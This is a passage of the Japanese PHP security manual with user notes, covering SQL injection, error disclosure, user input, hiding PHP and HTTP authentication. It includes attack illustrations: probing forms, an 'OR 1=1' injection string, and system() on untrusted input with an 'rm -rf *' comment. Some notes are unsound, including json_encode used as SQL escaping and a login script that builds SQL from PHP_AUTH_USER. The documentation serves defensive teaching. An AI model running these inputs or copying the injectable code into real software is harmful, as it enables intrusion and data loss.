  • データベースがバインド変数をサポートしていない場合は、 データベースに渡される数値以外のユーザー入力を データベース固有の文字列エスケープ関数 (mysql_real_escape_string(), sqlite_escape_string() など) でクオートしてください。 addslashes() のような汎用関数が使える場面は非常に限られています (MySQL をシングルバイト文字セットで使っていて、かつ NO_BACKSLASH_ESCAPES を無効にしている場合など)。 なので、addslashes() などの関数を使ってはいけません。
  • データベース固有の情報、特にスキーマに関する情報は出力してはい きません。エラー出力およ びエラー処理およびログ関数 も参照ください。
  • ユーザーがテーブルまたはビューに直接アクセスできないように、 データアクセスを抽象化することを目的としてストアドプロシージャ 及び事前に定義したカーソルを使用することもできますが、このソリューションには、副作用があります。

これらのケースにおいて、スクリプトまたはサポートされている場合はデータベース自体でクエリのログをとることが有益です。 明らかにログは破壊的な行為を防止することはできませんが、 攻撃されたアプリケーションを追跡する際には有効です。ログ自体は有益ではありませんが、含まれている情報は有益です。通常、より詳細なログをとる方が良いでしょう。

User Contributed Notes

mail at xenec dot com 12-Jun-2020 08:20
simple way:

$injection = 'username" OR 1=1';
$sqlString = 'SELECT * FROM table WHERE user='.json_encode($injection);

out:
SELECT * FROM table WHERE user="username\" OR 1=1"
Richard dot Corfield at gmail dot com 18-Nov-2011 02:01
The best way has got to be parameterised queries. Then it doesn't matter what the user types in the data goes to the database as a value.

A quick search online shows some possibilities in PHP which is great! Even on this site - http://php.net/manual/en/pdo.prepared-statements.php
which also gives the reasons this is good both for security and performance.
valerylourie at gmail dot com 15-Apr-2008 12:23
Note that PHP 5 introduced filters that you can use for untrusted user input:
http://us.php.net/manual/en/intro.filter.php


エラーのレポート

PHPのセキュリティに関して、2種類のエラー出力があります。一つは、セ キュリティ向上に役立つものであり、もう一つは、セキュリティ上有害な ものです。

標準的な攻撃手法の中に不完全なデータをシステムに送信し、返されるエ ラーの種類と内容を調べることにより、システムを調べるというものがあ ります。これにより、システムのクラッカーがありうる弱点を調査するた めにそのサーバーに関する情報を調べることが可能になります。 例えば、ある攻撃者が事前のフォーム投稿の際にあるページに関して収集 した情報を持っている場合、変数を上書きしたり、修正したりしようとす るかもしれません。

例1 カスタムHTMLページにより変数を攻撃する

<form method="POST" action="attacktarget?username=badfoo&password=badfoo">
<input type="hidden" name="username" value="badfoo">
<input type="hidden" name="password" value="badfoo">
</form>

通常返されるPHPのエラーは、エラーを生じた関数やファイル、エラーを 発生したPHPファイル、エラーを発生した行番号のような情報が含まれて おり、スクリプトをデバッグする開発者に非常に有用です。これらが調べ ることができる情報の全てです。デバッグ目的でPHPの開発者が show_source(), highlight_string(), highlight_file() を使用することはまれではありま せん。しかし、実用サイトでは、これは秘密の変数、未確認の構文、その 他の危険な情報を公開することになってしまいます。特に危険なのは、 組み込みのデバッグハンドラを有する既知のソースからのコードを実行して いるか、一般的なデバッグ技法を使用している場合です。攻撃者が、使用し ている一般的な技法を特定できた場合、次のようにあるページに様々な一般 的なデバッグ用文字列を送信することによりしらみつぶしに攻撃しようとす るかもしれません。

例2 一般的なデバッグ変数を探す

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y">
<input type="hidden" name="showerrors" value="1">
<input type="hidden" name="debug" value="1">
</form>

エラー処理の方法の方法のいかんによらず、エラーを調べる機能は、攻撃 者により多くの情報を与えることにつながります。

例えば、多くの一般的なエラー形式では、システムはPHPを実行している ことを示します。攻撃者が .html ページを調べ、(システムの既知の弱点 を探すために)誤ったデータを送信することによりバックエンドを調べた いと思った場合、システムをPHPと共に構築されていることを知ることが 可能となる可能性があります。

関数エラーは、システムが特定のデータベースエンジンが実行しているこ と、または、Webページのプログラム内容や設計に関する鍵を示すことが あります。これにより、データベースポートをオープンしたり、Webペー ジに固有のバグや弱点を調べるといったより詳細な調査を行うことが可能 となります。例えば、異なった不正なデータを送信することにより、攻撃 者は、(エラー行番号から)そのスクリプトの異なる場所を調べることと同 時にそのスクリプトの認証の順番を定義することが可能です。

ファイルシステムまたは一般的なPHPエラーは、Webサーバーが有する許可属 性やWebサーバーのファイル構造を示すことがあります。エラーコードを書 く開発者は、元は秘密の情報を容易に公開することにより、この問題を悪 化させる可能性があります。

この問題に対しては3種類の対策があります。最初の対策は、全ての関数 をよく調べ、大部分のエラーの修正を試みることです。2番目は、実行す るコードのエラーリポートを完全に無効にすることです。3番目は、 PHPのカスタムエラー処理関数を使用して独自のエラーハンドラを作成す ることです。システムのセキュリティポリシーに基づき、これらの3種類 の対策が適用可能かどうかを判定します。

この問題を事前に防止する手段の一つは、PHPに組み込まれている error_reporting()機能を使用することです。これにより、 コードを安全にするための手がかりが得られ、危険と思われる変数が使用 されている部分をみつけることが可能です。実使用の前に E_ALL を指定してコードをテストすることにより、変数が他の手段で汚染されたり、修正さ れたりする可能性がある部分を簡単に見つけることが可能です。 実使用の準備ができた際には、あなたのコードをプローブから保護するために error_reporting() を 0 に設定するか、php.ini のオプション display_errors をオフに設定する、 のいずれかでエラーリポートを完全に無効にすべきです。 もし後者を選択した場合、加えて error_log ini ディレクティブを使用する、あるいは log_errors をオンにしてログファイルのパスを定義すべきです。

例3 E_ALLで危険な変数を見つける

<?php
if ($username) {  // 使用前に初期化または確認されていない変数
    $good_login = 1;
}
if ($good_login == 1) { // 上のテストが失敗した場合、使用前に初期化または確認されていない
    readfile ("/highly/sensitive/data/index.html");
}
?>

User Contributed Notes

earlz- -NO SPAM-- at earlz dot biz DOT tm 04-Feb-2009 02:11
Note for those of you using OpenBSD and PHP.  The default php.ini has display_errors=off . This is contrary to the PHP default of display_errors=on . If your having trouble seeing errors on OpenBSD make sure to edit your php.ini to have display_errors=on. (I had this problem on OpenBSD 4.4)


ユーザーが投稿したデータ

多くの PHP のプログラムで最も脆弱な部分は、言語自体に起因するものではなく、 単にセキュリティを考慮して書かれていないコードの問題です。そのため、 指定したコードの部分の意味を常に時間をかけて吟味し、 予想外の変数が投稿された場合に有り得る損害を確かめる必要があります。

例1 危険な変数の使用

<?php
// ユーザーのホームディレクトリからファイルを削除します... または他の誰
// かのディレクトリかも?
unlink ($evil_var);

// 彼らのアクセスのログを書き込む.. または違うかも?
fputs ($fp, $evil_var);

// 何かちょっとしたことを実行.. または rm -rf *?
system ($evil_var);
exec ($evil_var);

?>
常に注意してコードをテストし、Webブラウザから投稿された全ての変数 について次のような点を確認してください。
  • このスクリプトは、意図したファイルのみを受け付けるか?
  • 例外的なまたは意図したもの以外のデータにより実行することが可能 か?
  • このスクリプトは意図した以外の方法で使用することが可能か?
  • このスクリプトは、悪い意味で他のスクリプトと組み合わせて使用す ることが可能か?
  • トランザクションは適切に記録されているか?
スクリプトを書いた後ではなく、書いている時にこれらの質問を適宜行う ことにより、セキュリティ改善のために不幸にして書き直しが必要になる ということを避けることができます。こうした考慮をまず行うことにより、 システムのセキュリティを保証できるわけではありませんが、改善の一助 にはなりえます。

register_globals,magic_quotes, または他の便利な設定は、有効性、発 信元、指定した変数の値について混乱を生じる可能性があるため、設定を オフにしたいと思うかもしれません。error_reporting(E_ALL) モードで PHPを動作させた場合、確認または初期化する前に使用された変数に関し て警告を発生させることも可能です。(これにより、処理時に通常とは異 なるデータを防止することが可能です)

User Contributed Notes

Livingstone@stonyhills[dot]com 02-Feb-2008 04:51
making sure your form is submitted from your page! Could also be adapted to url, by additing &token to the query string and checking this against session data(or what ever array you like) with $_GET, not that this string is randomly generated and stored. If you like you could build your own array to store the generated string if you dont want to use $_SESSION, say you could make yours like $tokens = array(), and in your easysecure class you store all the stuff in that array!

<?php

class easysecure {

    var $curr_user;
    var $curr_permission;
    var $curr_task;
    var $validpermission;
    var $error;

    function &setVar( $name, $value=null ) {
        if (!is_null( $value )) {
            $this->$name = $value;
        }
        return $this->$name;
    }

    function maketoken($formname, $id){

        $token = md5(uniqid(rand(), true));

        $_SESSION[$formname.$id] = $token;

        return $token;
    }

    function checktoken($token, $formname, $id){
        //print_r($_SESSION);
        //echo ($token);
        //if we dont have a valid token, return invalid;
        if(!$token){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'no token found, security bridgedetected');
            return false;
        }

        //if we have a valid token check that is is valid
        $key = $_SESSION[$formname.$id];
        if($key !== $token ){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'invalid token');
            return false;
        }

        if($this->validpermission !==1){
              echo 'invalid Permissions to run this script';
              return false;
        }else{
            return true;
        }
    }

}

?>

<?php $userid = *** //make it what ever id you like ?>
<form name="newform" action="index.php" method="post">
<input type="text" name="potentialeveilfield" value="" size 30 />
<input type="hidden" name="token" value="<?php echo maketoken(newform, $userid); //$userid here could be user profile id ?>" />
<input type="submit" />
</form>

Now when processing the form... check the value of your token

<?php

//well you know the form name
if(!checktoken($_POST['token'], 'newform', $userid))
{ //failed
exit(); //or what ever termination and notification method best suits you.
//you could also design the class your way to get more accurate fail (error messages from the var)
}

//you can now continue with input data clean up (validation)

?>
Uli Kusterer 13-Sep-2005 03:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.


PHPの隠蔽

一般に隠蔽という手段はセキュリティとしては弱いものだと言われています。 しかしこうした手法が望ましい場合もあります。

PHP を隠すための簡単な技法がいくつかあり、 システムの弱点を見つけようとする攻撃を遅延させることができる可能性があります。 php.ini ファイルで expose_php を off と設定すれば、 攻撃者が利用可能な情報を減らすことができます。

他の手段は、ApacheのようなWebサーバーで PHPに異なるファイル形式をパースさせるように設定することです。 これは、.htaccessディレクティブまたは Apacheの設定ファイル自体で指定します。 これにより、紛らわしいファイル拡張子を使用可能です。

例1 PHPを他の言語として隠す

# PHPコードを他のコード型のようにする
AddType application/x-httpd-php .asp .py .pl
または、次のように完全に隠すことも可能です。

例2 PHP拡張子用に未知の型を使用する

# Make PHP code look like unknown types
AddType application/x-httpd-php .bop .foo .133t
または、HTMLコードとして隠すことも可能です。この場合、全てのHTMLファ イルがPHPエンジンを通じてパースされることになるため、若干の性能上の 問題があります。

例3 PHP拡張子としてHTML型を使用する

# 全てのPHPコードをHTMLのように作成する
AddType application/x-httpd-php .htm .html
効率的にこれを使用するには、全てのPHPファイルの名前を上の拡張子に変更 する必要があります。これは、あいまいさに基づく形式のセキュリティですが、 欠点の少ない簡単な防衛策です。

User Contributed Notes

omolewastephen at gmail dot com 04-Jan-2018 10:03
I used this on my site and it works great for me

# RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
# RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
# RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
info at frinteractives dot com 02-Jul-2015 10:42
try this
RewriteEngine On

# Unless directory, remove trailing slash
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^/]+)/$ http://example.com/folder/$1 [R=301,L]

# Redirect external .php requests to extensionless url
RewriteCond %{THE_REQUEST} ^(.+)\.php([#?][^\ ]*)?\ HTTP/
RewriteRule ^(.+)\.php$ http://example.com/folder/$1 [R=301,L]

# Resolve .php file for extensionless php urls
RewriteRule ^([^/.]+)$ $1.php [L]
anon at example dot com 23-Dec-2013 10:48
The session name defaults to PHPSESSID.  This is used as the name of the session cookie that is sent to the user's web browser / client. (Example: PHPSESSID=kqjqper294faui343o98ts8k77).

To hide this, call session_name() with the $name parameter set to a generic name, before calling session_start().  Example:

session_name("id");
session_start();

Cheers.
Ryan 30-Oct-2011 06:22
Another way to hide php is by removing the extension completely, like so:

Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ /$1.php [L,QSA]

Hope this helps!
CD001 21-Jul-2010 09:03
It's a good idea to "hide" PHP anyway so you can write a RESTful web application.

Using Apache Mod Rewrite:

RewriteEngine On
RewriteRule ^control/([^/]+)/(.*)$ sitecontroller.php?control=$1&query=$2

You then use a function like the following as a way to retrieve data (in a zero indexed fashion) from the $_GET superglobal.

<?php
function myGET() {
  $aGet = array();

  if(isset($_GET['query'])) {
    $aGet = explode('/', $_GET['query']);
  }

  return $aGet;
}
?>

This is only a really basic example of course - you can do a lot with Mod Rewrite and a custom 'GET' function.
sandaimespaceman at gmail dot com 26-Oct-2008 04:51
Set INI directive "expose_php" to "off" will also help.
You can spoof your PHP to ASP.NET by using:
<?php
error_reporting(0);
header("X-Powered-By: ASP.NET");
?>
Pyornide 10-Oct-2008 05:57
The idea of hiding the X-Powered-By in PHP is a flawed attempt at establishing security. As the manual indicates, obscurity is not security. If I were exploiting a site, I wouldn't check what scripting language the site runs on, because all that would matter to me is exploiting it. Hiding the fact that you use [x] language isn't going to prevent me from bypassing poor security.
Raz 24-Sep-2007 03:07
May some servers not allow you to put this line (i.e this not work)

AddType application/x-httpd-php .asp .py .pl
or
DefaultType application/x-httpd-php

so, the alternative method that really a good one is:

1- In your .htaccess file write:

RewriteEngine  on
RewriteBase  /dire/ or just /
RewriteRule  securename   yourfile\.php  [T=application/x-httpd-php]

example: all url like
www.example.com/securename  parsed as
www.example.com/yourfile.php

2- but here the $_GET not work, but $_POST work, so for dynamic pages like
www.example.com/yourfile.php?page=1 you use
www.example.com/securename?page=1

now: instead of using $_GET use
<?php
$uri         = $_SERVER['REQUEST_URI'];
$page        = strstr($uri, '=');
$page        = substr($page, 1);
$valid_pages = array('1', '2','...');
$page        = in_array($page, $valid_pages) ? $page : '1';
//....
?>

and for bad URL you can add this code to .htaccess file
of coarse below the first code in .htaccess
#--
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ http://www.example.com/securename [L]
rustamabd at google mail 26-Jan-2007 12:05
So far I haven't seen a working rewriter of /foo/bar into /foo/bar.php, so I created my own. It does work in top-level directory AND subdirectories and it doesn't need hardcoding the RewriteBase.

.htaccess:

RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
simon at carbontwelevedesign dot co dot uk 10-Aug-2006 05:31
I use the following in the .htaccess document

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

then the following simple code

<?php

$permalinks = explode("/",$_SERVER['REQUEST_URI']);

$varone = $permalinks[1];
$vartwo = $permalinks[2];

...

?>
marpetr at NOSPAM dot gmail dot com 11-Apr-2006 05:18
I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
jtw90210 30-Jun-2005 01:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://example.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
benjamin at sonntag dot fr 24-May-2005 09:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
php at vfmedia dot de 15-Jun-2004 06:21
I?ve found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 08:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net 10-Apr-2004 06:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj 14-Mar-2004 05:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
ldemailly at qualysNOSPAM dot com 27-Oct-2003 08:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com 21-Jul-2003 04:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

<?php
substr($_SERVER['PATH_INFO'],1);
?>

e.g. www.example.com/somepage/55

And:

<?php
foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
    list($key,$value) = split('=',$pair,2);
    $param[$key] = stripslashes($value);
}
?>

e.g. www.example.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM 27-Mar-2003 08:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
    www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
    RewriteEngine on
    RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
    AddType application/x-httpd-php .php3 .php .html
29-Jan-2003 10:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.example.com/home

would still be processed by the home script in our doc root, but for:

http://www.example.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
    DocumentRoot /web/doc_root
    Alias /home "/web/doc_root/home.php"
    AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
sth at panix dot com 04-Aug-2002 12:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com 22-Jul-2002 05:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com 26-Jan-2002 03:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com 30-Dec-2001 09:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.


最新版を維持する

PHP は、他の大規模なシステムと同様に、セキュリティを確保しつつ 改良されています。新バージョンにはしばしば大規模あるいは小規模な 変更が含まれています。その内容は、セキュリティの機能追加であったり セキュリティ上の問題・設定の不備・その他システム全体のセキュリティや 安定性にかかわる問題の修正であったりします。

他のシステムレベルのスクリプト言語やプログラムと同様に、最善の アプローチは、頻繁に更新し、最新のバージョンとその変更を 注視し続けることです。

User Contributed Notes

There are no user contributed notes for this page.


機能

  • PHP による HTTP 認証
  • クッキー(Cookies)
  • セッション
  • XFormsの処理
  • ファイルアップロードの処理
    • POST メソッドによるアップロード
    • エラーメッセージの説明
    • 陥りやすい落とし穴
    • 複数ファイルのアップロード
    • PUT メソッドのサポート
    • 参考
  • リモートファイルの使用
  • 接続処理
  • 持続的データベース接続
  • コマンドラインの使用法 — PHP をコマンドラインから使用する
    • はじめに
    • 他の SAPI との違い
    • オプション — コマンドラインオプション
    • Usage — PHP ファイルの実行
    • I/O ストリーム — 入出力ストリーム
    • 対話シェル
    • ビルトインウェブサーバー
    • INI 設定
  • ガベージコレクション
    • 参照カウント法の原理
    • 循環の収集
    • パフォーマンスの考慮点
  • DTrace 動的トレーシング
    • PHP および DTrace への入門
    • PHP および DTrace の使用
    • PHP DTrace 静的プローブとともに SystemTap を使用

User Contributed Notes

There are no user contributed notes for this page.


PHP による HTTP 認証

header() 関数を使うと、 "Authentication Required" メッセージをクライアントブラウザに送ることができます。 これにより、クライアントブラウザではユーザー名とパスワードの入力要求 ウインドウがポップアップ表示されます。一度、ユーザーがユーザー名と パスワードを入力すると、PHP スクリプトを含むその URL は、次回以降、 定義済みの変数 PHP_AUTH_USER と、 PHP_AUTH_PW と、 PHP_AUTH_TYPE にそれぞれユーザー名、 パスワード、認証型が代入された状態で呼ばれます。 定義済みの変数は、配列 $_SERVER でアクセス可能です。 "Basic" 認証および "Digest" 認証 (PHP 5.1.0 以降) の両者がサポートされています。詳細は、 header()を参照ください。

ページ上でクライアント認証を強制するスクリプトの例を以下に示します。

例1 Basic HTTP 認証の例

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header("WWW-Authenticate: Basic realm=\"My Realm\"");
    header("HTTP/1.0 401 Unauthorized");
    echo "ユーザーがキャンセルボタンを押した時に送信されるテキスト\n";
    exit;
} else {
    echo "<p>こんにちは、{$_SERVER['PHP_AUTH_USER']} さん。</p>";
    echo "<p>あなたは、{$_SERVER['PHP_AUTH_PW']} をパスワードとして入力しました。</p>";
}
?>

例2 Digest HTTP 認証の例

この例は、シンプルな Digest HTTP 認証スクリプトをどの様に実装するか を示しています。 その他情報については、» RFC 2617 を読んでください。

<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
    header('HTTP/1.1 401 Unauthorized');
    header('WWW-Authenticate: Digest realm="'.$realm.
           '",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

    die('ユーザーがキャンセルボタンを押した時に送信されるテキスト');
}

// PHP_AUTH_DIGEST 変数を精査する
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
    !isset($users[$data['username']]))
    die('誤った証明書です!');

// 有効なレスポンスを生成する
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
    die('誤った証明書です!');

// OK, 有効なユーザー名とパスワードだ
echo 'あなたは次のユーザーとしてログインしています: ' . $data['username'];

// http auth ヘッダをパースする関数
function http_digest_parse($txt)
{
    // データが失われている場合への対応
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();
    $keys = implode('|', array_keys($needed_parts));

    preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? $m[3] : $m[4];
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}
?>

注意: 互換性に関する注意

HTTPヘッダ行をコーディングする際には注意を要します。全てのクライアントへの 互換性を最大限に保証するために、キーワード "Basic" には、 大文字の"B"を使用して書くべきです。realm文字列は(一重引用符ではなく) 二重引用符で括る必要があります。また、HTTP/1.0 401 ヘッダ行のコード 401 の前には、 1つだけ空白を置く必要があります。 認証パラメータは、上のダイジェスト認証の例にあるように カンマ区切りで指定しなければなりません。

単に PHP_AUTH_USERおよびPHP_AUTH_PW を出力するのではなく、ユーザー名とパスワードの有効性をチェックしたいと 思うかもしれません。 その場合、クエリーをデータベースに送るか、ある dbm ファイル中の ユーザーを調べるといったことをすることになるでしょう。

バグのある Internet Explorer ブラウザには注意してください。このブラ ウザは、ヘッダの順序に関してとてもうるさいようです。今のところ、 HTTP/1.0 401 ヘッダの前に WWW-Authenticate ヘッダを送るのが効果があるようです。

注意: 設定上の注意

PHP は、外部認証が動作しているかどうかの判定を AuthType ディレクティブの有無で行います。

しかし、上記の機能も、認証を要求されないURLを管理する人が同じサーバー にある認証を要するURLからパスワードを盗むことを防ぐわけではありませ ん。

サーバーからレスポンスコード 401 を受けた際に、Netscape Navigatorおよび Internet Explorer は共にローカルブラウザのウインドウ上の認証キャッシュを 消去します。この機能により、簡単にユーザーを"ログアウト"させ、強制的に ユーザー名とパスワードを再入力させることができます。この機能は、 "タイムアウト" 付きのログインや、"ログアウト" ボタンに適用されています。

例3 新規に名前 / パスワードを入力させる HTTP 認証の例

<?php
function authenticate() {
    header('WWW-Authenticate: Basic realm="Test Authentication System"');
    header('HTTP/1.0 401 Unauthorized');
    echo "このリソースにアクセスする際には有効なログインIDとパスワードを入力する必要があります。\n";
    exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
    ($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
    authenticate();
} else {
    echo "<p>Welcome: " . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "<br />";
    echo "Old: " . htmlspecialchars($_REQUEST['OldAuth']);
    echo "<form action='' method='post'>\n";
    echo "<input type='hidden' name='SeenBefore' value='1'>\n";
    echo "<input type='hidden' name='OldAuth' value=\"" . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "\" />\n";
    echo "<input type='submit' value='Re Authenticate'>\n";
    echo "</form></p>\n";
}
?>

この動作は、HTTP Basic 認証の標準に基づいていません。よって、この機能に 依存しないように注意する必要があります。Lynx によるテストの結果、 Lynx は、認証証明書を 401 サーバー応答によりクリアしないことが明らかに なっています。このため、back を押してから forward を再度押すことにより 証明書の要件が変更されない限りリソースをオープンすることができます。 しかし、ユーザーは '_' キーを押すことにより認証情報をクリアすることが可能です。

IIS サーバーと CGI 版の PHP の組み合わせで HTTP 認証を使うには、 IIS の設定の "ディレクトリセキュリティ" の "編集" ボタンを押して "匿名アクセス" のみをオンにしてください。 その他のフィールドはオフのままにしてください。

注意: IIS に関する注意:
IIS上 で HTTP 認証を使用する場合、PHP の cgi.rfc2616_headers ディレクティブは0 (デフォルト値) にセットされて いなければなりません。

User Contributed Notes

patrick dot moire at socopa dot fr 17-Jun-2020 12:12
Samples Login / Logout script

login.php :

<?php

    // Initisalition
    if ($_COOKIE["SESSION"]=='') {
        setcookie("SESSION", 'AUTH', 0,'/');

    // Identification perdu (time-out ou logoff)
    } else if ($_SERVER['PHP_AUTH_USER']!='' && $_COOKIE["USER_SESSION"]=='') {
        $_SERVER['PHP_AUTH_USER'] = '';
    }

    // Controle identification a la base
    $ident = executeSQL("SELECT * FROM UTILISATEURS WHERE upper(IDENTIFIANT)=Upper('".$_SERVER['PHP_AUTH_USER']."')");
    if ($_SERVER['PHP_AUTH_USER']!='' && strtoupper($ident['IDENTIFIANT'])==strtoupper($_SERVER['PHP_AUTH_USER']) && $ident['MOT_DE_PASSE']==$_SERVER['PHP_AUTH_PW']) {
        $user = $_SERVER['PHP_AUTH_USER'];
        setcookie("USER_SESSION", $user, time()+300,'/'); // 5 Minutes !

    // Mot de passe incorecte : demande identification
    } else {
        setcookie("SESSION", '', 1,'/');
        header('WWW-Authenticate: Basic realm="My Realm"');
        header('HTTP/1.0 401 Unauthorized');
        die;
    }

?>
<html>
    <body >

        Bonjour <?php echo $ident['NOM'].' '.$ident['PRENOM']; ?>
        <br>
        <br>
